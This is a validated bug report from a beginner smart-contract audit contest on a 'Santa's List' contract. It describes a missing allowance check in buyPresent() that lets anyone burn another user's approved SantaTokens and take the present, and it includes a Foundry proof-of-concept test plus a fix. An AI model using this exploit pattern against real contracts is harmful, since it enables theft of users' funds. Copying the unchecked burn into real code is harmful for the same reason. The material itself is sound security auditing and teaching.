First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can spend all allowances of SantaList

Mj0ln1r

Summary

Attacker can spend all the allowances approved to SantaList contract by all users. tAnd Attacker will get him self present rather than the user.

Vulnerability Details

A user will approve his SantaTokens to SantaList contract. Attacker can call buyPresent() function with any user address who approved to spend their SantaTokens to SantaList contract. In result the user SantaTokens will be burned and Attacker will get the present not the user.

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
function burn(address from) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
_burn(from, 1e18);
}

Impact

  • All users tokens who approved their SantaTokens to SantaList contract will be lost

  • Attacker can mint presents with someone's SantaTokens who approved SantaList to spend.

Proof of Code :

function testMintPresentsOfSomeone() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
santaToken.approve(address(santasList), 1e18);
vm.stopPrank();
​
assertEq(santaToken.balanceOf(user), 1e18);
assertEq(santasList.balanceOf(user), 1);
vm.prank(address(0xdeadbeef));
​
santasList.buyPresent(user);
assertEq(santasList.balanceOf(address(0xdeadbeef)), 1);
assertEq(santaToken.balanceOf(user), 0);
​
vm.stopPrank();
}

Add this test to SantasListTest.t.sol and run forge test --mt testMintPresentsOfSomeone to run the test.

Tools Used

Manual Review

Recommendations

There should an allowance check mechanism in the buyPresent function. The user should approve the other user addresses instead of SantasList Contract.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.